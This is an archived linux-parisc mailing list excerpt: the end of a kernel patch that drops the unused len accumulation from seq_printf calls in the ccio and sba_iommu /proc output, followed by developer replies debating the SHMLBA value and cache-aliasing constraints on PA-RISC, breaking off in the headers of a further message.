-		len += seq_printf(m, "Cujo 2.0 bug    : %s\n",
-				  (ioc->cujo20_bug ? "yes" : "no"));
+		seq_printf(m, "Cujo 2.0 bug    : %s\n",
+			   (ioc->cujo20_bug ? "yes" : "no"));
 		
-		len += seq_printf(m, "IO PDIR size    : %d bytes (%d entries)\n",
-			       total_pages * 8, total_pages);
+		seq_printf(m, "IO PDIR size    : %d bytes (%d entries)\n",
+			   total_pages * 8, total_pages);
 
 #ifdef CCIO_COLLECT_STATS
-		len += seq_printf(m, "IO PDIR entries : %ld free  %ld used (%d%%)\n",
-				  total_pages - ioc->used_pages, ioc->used_pages,
-				  (int)(ioc->used_pages * 100 / total_pages));
+		seq_printf(m, "IO PDIR entries : %ld free  %ld used (%d%%)\n",
+			   total_pages - ioc->used_pages, ioc->used_pages,
+			   (int)(ioc->used_pages * 100 / total_pages));
 #endif
 
-		len += seq_printf(m, "Resource bitmap : %d bytes (%d pages)\n", 
-				  ioc->res_size, total_pages);
+		seq_printf(m, "Resource bitmap : %d bytes (%d pages)\n",
+			   ioc->res_size, total_pages);
 
 #ifdef CCIO_COLLECT_STATS
 		min = max = ioc->avg_search[0];
@@ -1058,26 +1057,26 @@ static int ccio_proc_info(struct seq_file *m, void *p)
 				min = ioc->avg_search[j];
 		}
 		avg /= CCIO_SEARCH_SAMPLE;
-		len += seq_printf(m, "  Bitmap search : %ld/%ld/%ld (min/avg/max CPU Cycles)\n",
-				  min, avg, max);
+		seq_printf(m, "  Bitmap search : %ld/%ld/%ld (min/avg/max CPU Cycles)\n",
+			   min, avg, max);
 
-		len += seq_printf(m, "pci_map_single(): %8ld calls  %8ld pages (avg %d/1000)\n",
-				  ioc->msingle_calls, ioc->msingle_pages,
-				  (int)((ioc->msingle_pages * 1000)/ioc->msingle_calls));
+		seq_printf(m, "pci_map_single(): %8ld calls  %8ld pages (avg %d/1000)\n",
+			   ioc->msingle_calls, ioc->msingle_pages,
+			   (int)((ioc->msingle_pages * 1000)/ioc->msingle_calls));
 
 		/* KLUGE - unmap_sg calls unmap_single for each mapped page */
 		min = ioc->usingle_calls - ioc->usg_calls;
 		max = ioc->usingle_pages - ioc->usg_pages;
-		len += seq_printf(m, "pci_unmap_single: %8ld calls  %8ld pages (avg %d/1000)\n",
-				  min, max, (int)((max * 1000)/min));
+		seq_printf(m, "pci_unmap_single: %8ld calls  %8ld pages (avg %d/1000)\n",
+			   min, max, (int)((max * 1000)/min));
  
-		len += seq_printf(m, "pci_map_sg()    : %8ld calls  %8ld pages (avg %d/1000)\n",
-				  ioc->msg_calls, ioc->msg_pages,
-				  (int)((ioc->msg_pages * 1000)/ioc->msg_calls));
+		seq_printf(m, "pci_map_sg()    : %8ld calls  %8ld pages (avg %d/1000)\n",
+			   ioc->msg_calls, ioc->msg_pages,
+			   (int)((ioc->msg_pages * 1000)/ioc->msg_calls));
 
-		len += seq_printf(m, "pci_unmap_sg()  : %8ld calls  %8ld pages (avg %d/1000)\n\n\n",
-				  ioc->usg_calls, ioc->usg_pages,
-				  (int)((ioc->usg_pages * 1000)/ioc->usg_calls));
+		seq_printf(m, "pci_unmap_sg()  : %8ld calls  %8ld pages (avg %d/1000)\n\n\n",
+			   ioc->usg_calls, ioc->usg_pages,
+			   (int)((ioc->usg_pages * 1000)/ioc->usg_calls));
 #endif	/* CCIO_COLLECT_STATS */
 
 		ioc = ioc->next;
@@ -1101,7 +1100,6 @@ static const struct file_operations ccio_proc_info_fops = {
 
 static int ccio_proc_bitmap_info(struct seq_file *m, void *p)
 {
-	int len = 0;
 	struct ioc *ioc = ioc_list;
 
 	while (ioc != NULL) {
@@ -1110,11 +1108,11 @@ static int ccio_proc_bitmap_info(struct seq_file *m, void *p)
 
 		for (j = 0; j < (ioc->res_size / sizeof(u32)); j++) {
 			if ((j & 7) == 0)
-				len += seq_puts(m, "\n   ");
-			len += seq_printf(m, "%08x", *res_ptr);
+				seq_puts(m, "\n   ");
+			seq_printf(m, "%08x", *res_ptr);
 			res_ptr++;
 		}
-		len += seq_puts(m, "\n\n");
+		seq_puts(m, "\n\n");
 		ioc = ioc->next;
 		break; /* XXX - remove me */
 	}
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 1ff1b67..f074712 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -1774,37 +1774,35 @@ static int sba_proc_info(struct seq_file *m, void *p)
 #ifdef SBA_COLLECT_STATS
 	unsigned long avg = 0, min, max;
 #endif
-	int i, len = 0;
-
-	len += seq_printf(m, "%s rev %d.%d\n",
-		sba_dev->name,
-		(sba_dev->hw_rev & 0x7) + 1,
-		(sba_dev->hw_rev & 0x18) >> 3
-		);
-	len += seq_printf(m, "IO PDIR size    : %d bytes (%d entries)\n",
-		(int) ((ioc->res_size << 3) * sizeof(u64)), /* 8 bits/byte */
-		total_pages);
-
-	len += seq_printf(m, "Resource bitmap : %d bytes (%d pages)\n", 
-		ioc->res_size, ioc->res_size << 3);   /* 8 bits per byte */
-
-	len += seq_printf(m, "LMMIO_BASE/MASK/ROUTE %08x %08x %08x\n",
-		READ_REG32(sba_dev->sba_hpa + LMMIO_DIST_BASE),
-		READ_REG32(sba_dev->sba_hpa + LMMIO_DIST_MASK),
-		READ_REG32(sba_dev->sba_hpa + LMMIO_DIST_ROUTE)
-		);
+	int i;
+
+	seq_printf(m, "%s rev %d.%d\n",
+		   sba_dev->name,
+		   (sba_dev->hw_rev & 0x7) + 1,
+		   (sba_dev->hw_rev & 0x18) >> 3);
+	seq_printf(m, "IO PDIR size    : %d bytes (%d entries)\n",
+		   (int)((ioc->res_size << 3) * sizeof(u64)), /* 8 bits/byte */
+		   total_pages);
+
+	seq_printf(m, "Resource bitmap : %d bytes (%d pages)\n",
+		   ioc->res_size, ioc->res_size << 3);   /* 8 bits per byte */
+
+	seq_printf(m, "LMMIO_BASE/MASK/ROUTE %08x %08x %08x\n",
+		   READ_REG32(sba_dev->sba_hpa + LMMIO_DIST_BASE),
+		   READ_REG32(sba_dev->sba_hpa + LMMIO_DIST_MASK),
+		   READ_REG32(sba_dev->sba_hpa + LMMIO_DIST_ROUTE));
 
 	for (i=0; i<4; i++)
-		len += seq_printf(m, "DIR%d_BASE/MASK/ROUTE %08x %08x %08x\n", i,
-			READ_REG32(sba_dev->sba_hpa + LMMIO_DIRECT0_BASE  + i*0x18),
-			READ_REG32(sba_dev->sba_hpa + LMMIO_DIRECT0_MASK  + i*0x18),
-			READ_REG32(sba_dev->sba_hpa + LMMIO_DIRECT0_ROUTE + i*0x18)
-		);
+		seq_printf(m, "DIR%d_BASE/MASK/ROUTE %08x %08x %08x\n",
+			   i,
+			   READ_REG32(sba_dev->sba_hpa + LMMIO_DIRECT0_BASE  + i*0x18),
+			   READ_REG32(sba_dev->sba_hpa + LMMIO_DIRECT0_MASK  + i*0x18),
+			   READ_REG32(sba_dev->sba_hpa + LMMIO_DIRECT0_ROUTE + i*0x18));
 
 #ifdef SBA_COLLECT_STATS
-	len += seq_printf(m, "IO PDIR entries : %ld free  %ld used (%d%%)\n",
-		total_pages - ioc->used_pages, ioc->used_pages,
-		(int) (ioc->used_pages * 100 / total_pages));
+	seq_printf(m, "IO PDIR entries : %ld free  %ld used (%d%%)\n",
+		   total_pages - ioc->used_pages, ioc->used_pages,
+		   (int)(ioc->used_pages * 100 / total_pages));
 
 	min = max = ioc->avg_search[0];
 	for (i = 0; i < SBA_SEARCH_SAMPLE; i++) {
@@ -1813,26 +1811,26 @@ static int sba_proc_info(struct seq_file *m, void *p)
 		if (ioc->avg_search[i] < min) min = ioc->avg_search[i];
 	}
 	avg /= SBA_SEARCH_SAMPLE;
-	len += seq_printf(m, "  Bitmap search : %ld/%ld/%ld (min/avg/max CPU Cycles)\n",
-		min, avg, max);
+	seq_printf(m, "  Bitmap search : %ld/%ld/%ld (min/avg/max CPU Cycles)\n",
+		   min, avg, max);
 
-	len += seq_printf(m, "pci_map_single(): %12ld calls  %12ld pages (avg %d/1000)\n",
-		ioc->msingle_calls, ioc->msingle_pages,
-		(int) ((ioc->msingle_pages * 1000)/ioc->msingle_calls));
+	seq_printf(m, "pci_map_single(): %12ld calls  %12ld pages (avg %d/1000)\n",
+		   ioc->msingle_calls, ioc->msingle_pages,
+		   (int)((ioc->msingle_pages * 1000)/ioc->msingle_calls));
 
 	/* KLUGE - unmap_sg calls unmap_single for each mapped page */
 	min = ioc->usingle_calls;
 	max = ioc->usingle_pages - ioc->usg_pages;
-	len += seq_printf(m, "pci_unmap_single: %12ld calls  %12ld pages (avg %d/1000)\n",
-		min, max, (int) ((max * 1000)/min));
+	seq_printf(m, "pci_unmap_single: %12ld calls  %12ld pages (avg %d/1000)\n",
+		   min, max, (int)((max * 1000)/min));
 
-	len += seq_printf(m, "pci_map_sg()    : %12ld calls  %12ld pages (avg %d/1000)\n",
-		ioc->msg_calls, ioc->msg_pages, 
-		(int) ((ioc->msg_pages * 1000)/ioc->msg_calls));
+	seq_printf(m, "pci_map_sg()    : %12ld calls  %12ld pages (avg %d/1000)\n",
+		   ioc->msg_calls, ioc->msg_pages,
+		   (int)((ioc->msg_pages * 1000)/ioc->msg_calls));
 
-	len += seq_printf(m, "pci_unmap_sg()  : %12ld calls  %12ld pages (avg %d/1000)\n",
-		ioc->usg_calls, ioc->usg_pages,
-		(int) ((ioc->usg_pages * 1000)/ioc->usg_calls));
+	seq_printf(m, "pci_unmap_sg()  : %12ld calls  %12ld pages (avg %d/1000)\n",
+		   ioc->usg_calls, ioc->usg_pages,
+		   (int)((ioc->usg_pages * 1000)/ioc->usg_calls));
 #endif
 
 	return 0;
@@ -1858,14 +1856,14 @@ sba_proc_bitmap_info(struct seq_file *m, void *p)
 	struct sba_device *sba_dev = sba_list;
 	struct ioc *ioc = &sba_dev->ioc[0];	/* FIXME: Multi-IOC support! */
 	unsigned int *res_ptr = (unsigned int *)ioc->res_map;
-	int i, len = 0;
+	int i;
 
 	for (i = 0; i < (ioc->res_size/sizeof(unsigned int)); ++i, ++res_ptr) {
 		if ((i & 7) == 0)
-			len += seq_printf(m, "\n   ");
-		len += seq_printf(m, " %08x", *res_ptr);
+			seq_puts(m, "\n   ");
+		seq_printf(m, " %08x", *res_ptr);
 	}
-	len += seq_printf(m, "\n");
+	seq_putc(m, '\n');
 
 	return 0;
 }
-- 
2.1.2


From - Thu Nov 08 21:37:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Sun, 22 Feb 2015 11:45:24 -0500
Lines: 115
Approved: news@gmane.org
Message-ID: <BLU436-SMTP737CEAAA0E7C3EAEFB9DB097280@phx.gbl>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi> <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl> <201312191619.05005.vapier@gentoo.org> <5313A12E.7010307@gmx.de> <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de> <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com> <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl> <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl> <533DC3E8.5010701@gmx.de> <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com> <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl> <BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl> <1424560158.2146.22.camel@HansenPartnership.com> <54E9141B.4050009@gmx.de> <1424563046.2146.41.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1424623540 28433 80.91.229.3 (22 Feb 2015 16:45:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Feb 2015 16:45:40 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 22 17:45:31 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YPZes-0005o0-MK
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Feb 2015 17:45:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751961AbbBVQp3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Feb 2015 11:45:29 -0500
Original-Received: from blu004-omc4s7.hotmail.com ([65.55.111.146]:53384 "EHLO
	BLU004-OMC4S7.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751897AbbBVQp2 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Feb 2015 11:45:28 -0500
Original-Received: from BLU436-SMTP73 ([65.55.111.137]) by BLU004-OMC4S7.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Sun, 22 Feb 2015 08:45:27 -0800
X-TMN: [tLL9lMaFdU8BEPWa/VND0sLBiYN9uPgB]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <1424563046.2146.41.camel@HansenPartnership.com>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 22 Feb 2015 16:45:26.0700 (UTC) FILETIME=[F5B866C0:01D04EBE]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25590
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25590>

On 2015-02-21, at 6:57 PM, James Bottomley wrote:

> On Sun, 2015-02-22 at 00:26 +0100, Helge Deller wrote:
>> On 22.02.2015 00:09, James Bottomley wrote:
>>> On Sat, 2015-02-21 at 15:40 -0500, John David Anglin wrote:
>>>> On 2015-02-21, at 3:31 PM, John David Anglin wrote:
>>>> 
>>>>> On 2015-02-20, at 4:36 PM, Carlos O'Donell wrote:
>>>>> 
>>>>>> On Thu, Apr 3, 2014 at 4:26 PM, Helge Deller <deller@gmx.de> wrote:
>>>>>>> In current eglibc it's set to 0x00400000
>>>>>>> That's what my eglibc-patch changes...
>>>>>>> I'm currently building a eglibc on hpviz with SHMLBA set to 4096 (__getpagesize()).
>>>>>> 
>>>>>> Anyone object to me fixing this upstream by making SHMLBA match the kernel?
>>>>>> 
>>>>>> I plan to use a fixed value of 4096, since I never expect hppa
>>>>>> userspace to have to care (even if the kernel uses superpages).
>>>>> 
>>>>> We currently use (__getpagesize ()) in Debian and this seems to be a common definition.
>>>>> Is there a performance advantage in using 4096?
>>>>> 
>>>>>> 
>>>>>> Please correct me if I'm wrong.
>>>>> 
>>>>> 
>>>>> At one time, we thought this value needed to be 4 MB.  Helge was
>>>> working on improving the mmap
>>>>> allocation scheme but this work stalled after some improvement.  I
>>>> can't remember the issues and how
>>>>> they relate to SHMLBA.
>>>> 
>>>> 
>>>> Actually, the number was 4 Mb (bit).
>>> 
>>> No, it was 4MB.  That's the cache equivalency stride on PA processors
>>> because we have a VIPT cache.  The architectural requirement according
>>> to the dreaded appendix F is 16MB but we were assured by the PA
>>> architects that it was 4 because they never planned producing processors
>>> that would require 16.  The actual meaning is it's the number of bits of
>>> the virtual address that are significant in the virtual index.
>>> 
>> 
>> Your following statement:
>> 
>>> The point of SHMLBA is that if the same physical page is mapped into two
>>> different virtual addresses but the two addresses are equal, modulo
>>> SHMLBA, then the L1 cache sees the equivalency and you can't get
>>> inequivalent cache aliases for the page (two writes to the two different
>>> addresses producing two separately dirty cache lines which can never
>>> resolve).  This means that the virtual addresses of all shared mappings
>>> have to be equal modulo SHMLBA for the caches not to alias.
>> 
>> With this you define SHMLBA to be the representative number which defines
>> what the current cache equivalency stride of the kernel is, *and* which then can
>> be used by userspace. I think this is a misinterpretation of SHMLBA (or at
>> least a parisc-specific interpretation of SHMLBA), which is not like how it
>> is used on other architectures with similar limitations.
>> Userspace should not know the kernel/architecture specifics. Instead they
>> should try to mmap() memory somewhere (e.g. 4KB aligned) and if they need shared mappings then
>> kernel/glibc will return a corrected mapping address (modulo 4MB).
>> I think this is important, since most userspace programs usually try to mmap at
>> a multiple of SHMLBA with which we then run very soon out of userspace (with SHMLBA=4MB).
>> This has been the issue with localedef in glibc (a strange coding which tries
>> to be platform-specific with mmap-calculation). Because of that in the end
>> it turned out to be best for parisc to have SHMLBA defined to 4kb (and not 4MB).
>> 
>> So, your statement above is correct, I would just not use "SHMLBA" in this term,
>> but maybe "KERNEL_SHMLBA" instead.
> 
> Um, no, SHMLBA comes from the SYS-V IPC primitives.  They were stupid
> enough to allow the user pick the address of the region of shared
> memory, so the user had to know these architectural details and SHMLBA
> encodes them (man shmat will give you the gory details).
> 
> For mmap, we can mostly do the right thing in the kernel, except for
> MAP_FIXED, where the user has to know what they're doing again.
> 
> For the cases the user thinks they know best, we can't avoid giving out
> the knowledge somehow, because inequivalent aliases in writeable
> mappings will HPMC a system.  We could be more relaxed about
> inequivalent aliases in read only mappings (say shared libraries), but
> the consequence of that is an explosion in the use of cache space, so we
> would want some libraries (like glibc) with many shared copies to obey
> SHMLBA.


I agree with Helge.  We run out of memory too quickly with 4 MB.  This resulted in various
userspace applications failing as mentioned by Helge.

MAP_FIXED can fail it the address is a problem.  I believe we check for that.

If you look at the pch implementation in gcc, you will see that the MAP_FIXED problem can be
worked around, and this problem is not specific to parisc.  The pch data has to mapped at the same
address as it was originally created as there is no way to relocate the data.

SHMLBA is 4096 /* (1 << PGSHIFT) */ on hpux.

The following is in <asm-generic/shmparam.h>:
#define SHMLBA PAGE_SIZE	 /* attach addr a multiple of this */

Shared mappings are handled with 
asm/shmparam.h:#define SHM_COLOUR 0x00400000	/* shared mappings colouring */

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped
 address
Date: Sun, 22 Feb 2015 09:17:55 -0800
Lines: 118
Approved: news@gmane.org
Message-ID: <1424625475.2146.88.camel@HansenPartnership.com>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
	 <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>
	 <201312191619.05005.vapier@gentoo.org> <5313A12E.7010307@gmx.de>
	 <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de>
	 <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com>
	 <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl>
	 <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl>
	 <533DC3E8.5010701@gmx.de>
	 <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com>
	 <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl>
	 <BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl>
	 <1424560158.2146.22.camel@HansenPartnership.com> <54E9141B.4050009@gmx.de>
	 <1424563046.2146.41.camel@HansenPartnership.com>
	 <BLU436-SMTP737CEAAA0E7C3EAEFB9DB097280@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424625487 26089 80.91.229.3 (22 Feb 2015 17:18:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Feb 2015 17:18:07 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 22 18:18:00 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YPaAJ-0003gf-KY
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Feb 2015 18:18:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752006AbbBVRR6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Feb 2015 12:17:58 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48983 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751980AbbBVRR5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Feb 2015 12:17:57 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 09FA28EE162;
	Sun, 22 Feb 2015 09:17:57 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ojZGk6wFWYCi; Sun, 22 Feb 2015 09:17:56 -0800 (PST)
Original-Received: from [153.66.254.242] (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 762188EE101;
	Sun, 22 Feb 2015 09:17:56 -0800 (PST)
In-Reply-To: <BLU436-SMTP737CEAAA0E7C3EAEFB9DB097280@phx.gbl>
X-Mailer: Evolution 3.12.9 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25591
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25591>

On Sun, 2015-02-22 at 11:45 -0500, John David Anglin wrote:
> On 2015-02-21, at 6:57 PM, James Bottomley wrote:
> 
> > On Sun, 2015-02-22 at 00:26 +0100, Helge Deller wrote:
> >> On 22.02.2015 00:09, James Bottomley wrote:
> >>> On Sat, 2015-02-21 at 15:40 -0500, John David Anglin wrote:
> >>>> On 2015-02-21, at 3:31 PM, John David Anglin wrote:
> >>>> 
> >>>>> On 2015-02-20, at 4:36 PM, Carlos O'Donell wrote:
> >>>>> 
> >>>>>> On Thu, Apr 3, 2014 at 4:26 PM, Helge Deller <deller@gmx.de> wrote:
> >>>>>>> In current eglibc it's set to 0x00400000
> >>>>>>> That's what my eglibc-patch changes...
> >>>>>>> I'm currently building a eglibc on hpviz with SHMLBA set to 4096 (__getpagesize()).
> >>>>>> 
> >>>>>> Anyone object to me fixing this upstream by making SHMLBA match the kernel?
> >>>>>> 
> >>>>>> I plan to use a fixed value of 4096, since I never expect hppa
> >>>>>> userspace to have to care (even if the kernel uses superpages).
> >>>>> 
> >>>>> We currently use (__getpagesize ()) in Debian and this seems to be a common definition.
> >>>>> Is there a performance advantage in using 4096?
> >>>>> 
> >>>>>> 
> >>>>>> Please correct me if I'm wrong.
> >>>>> 
> >>>>> 
> >>>>> At one time, we thought this value needed to be 4 MB.  Helge was
> >>>> working on improving the mmap
> >>>>> allocation scheme but this work stalled after some improvement.  I
> >>>> can't remember the issues and how
> >>>>> they relate to SHMLBA.
> >>>> 
> >>>> 
> >>>> Actually, the number was 4 Mb (bit).
> >>> 
> >>> No, it was 4MB.  That's the cache equivalency stride on PA processors
> >>> because we have a VIPT cache.  The architectural requirement according
> >>> to the dreaded appendix F is 16MB but we were assured by the PA
> >>> architects that it was 4 because they never planned producing processors
> >>> that would require 16.  The actual meaning is it's the number of bits of
> >>> the virtual address that are significant in the virtual index.
> >>> 
> >> 
> >> Your following statement:
> >> 
> >>> The point of SHMLBA is that if the same physical page is mapped into two
> >>> different virtual addresses but the two addresses are equal, modulo
> >>> SHMLBA, then the L1 cache sees the equivalency and you can't get
> >>> inequivalent cache aliases for the page (two writes to the two different
> >>> addresses producing two separately dirty cache lines which can never
> >>> resolve).  This means that the virtual addresses of all shared mappings
> >>> have to be equal modulo SHMLBA for the caches not to alias.
> >> 
> >> With this you define SHMLBA to be the representative number which defines
> >> what the current cache equivalency stride of the kernel is, *and* which then can
> >> be used by userspace. I think this is a misinterpretation of SHMLBA (or at
> >> least a parisc-specific interpretation of SHMLBA), which is not like how it
> >> is used on other architectures with similar limitations.
> >> Userspace should not know the kernel/architecture specifics. Instead they
> >> should try to mmap() memory somewhere (e.g. 4KB aligned) and if they need shared mappings then
> >> kernel/glibc will return a corrected mapping address (modulo 4MB).
> >> I think this is important, since most userspace programs usually try to mmap at
> >> a multiple of SHMLBA with which we then run very soon out of userspace (with SHMLBA=4MB).
> >> This has been the issue with localedef in glibc (a strange coding which tries
> >> to be platform-specific with mmap-calculation). Because of that in the end
> >> it turned out to be best for parisc to have SHMLBA defined to 4kb (and not 4MB).
> >> 
> >> So, your statement above is correct, I would just not use "SHMLBA" in this term,
> >> but maybe "KERNEL_SHMLBA" instead.
> > 
> > Um, no, SHMLBA comes from the SYS-V IPC primitives.  They were stupid
> > enough to allow the user pick the address of the region of shared
> > memory, so the user had to know these architectural details and SHMLBA
> > encodes them (man shmat will give you the gory details).
> > 
> > For mmap, we can mostly do the right thing in the kernel, except for
> > MAP_FIXED, where the user has to know what they're doing again.
> > 
> > For the cases the user thinks they know best, we can't avoid giving out
> > the knowledge somehow, because inequivalent aliases in writeable
> > mappings will HPMC a system.  We could be more relaxed about
> > inequivalent aliases in read only mappings (say shared libraries), but
> > the consequence of that is an explosion in the use of cache space, so we
> > would want some libraries (like glibc) with many shared copies to obey
> > SHMLBA.
> 
> 
> I agree with Helge.  We run out of memory too quickly with 4 MB.  This resulted in various
> userspace applications failing as mentioned by Helge.
> 
> MAP_FIXED can fail it the address is a problem.  I believe we check for that.
> 
> If you look at the pch implementation in gcc, you will see that the MAP_FIXED problem can be
> worked around, and this problem is not specific to parisc.  The pch data has to mapped at the same
> address as it was originally created as there is no way to relocate the data.
> 
> SHMLBA is 4096 /* (1 << PGSHIFT) */ on hpux.
> 
> The following is in <asm-generic/shmparam.h>:
> #define SHMLBA PAGE_SIZE	 /* attach addr a multiple of this */
> 
> Shared mappings are handled with 
> asm/shmparam.h:#define SHM_COLOUR 0x00400000	/* shared mappings colouring */

So how is the sys-v ipc problem fixed?  There the user is told to select
an address which is a multiple of SHMLBA.  Programs that do this today
will start to break on writeable mappings if we set SHMLBA to PAGE_SIZE
because the colour will be wrong.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped
 address
Date: Sun, 22 Feb 2015 09:28:09 -0800
Lines: 112
Approved: news@gmane.org
Message-ID: <1424626089.2146.92.camel@HansenPartnership.com>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
	 <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>
	 <201312191619.05005.vapier@gentoo.org> <5313A12E.7010307@gmx.de>
	 <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de>
	 <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com>
	 <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl>
	 <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl>
	 <533DC3E8.5010701@gmx.de>
	 <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com>
	 <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl>
	 <BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl>
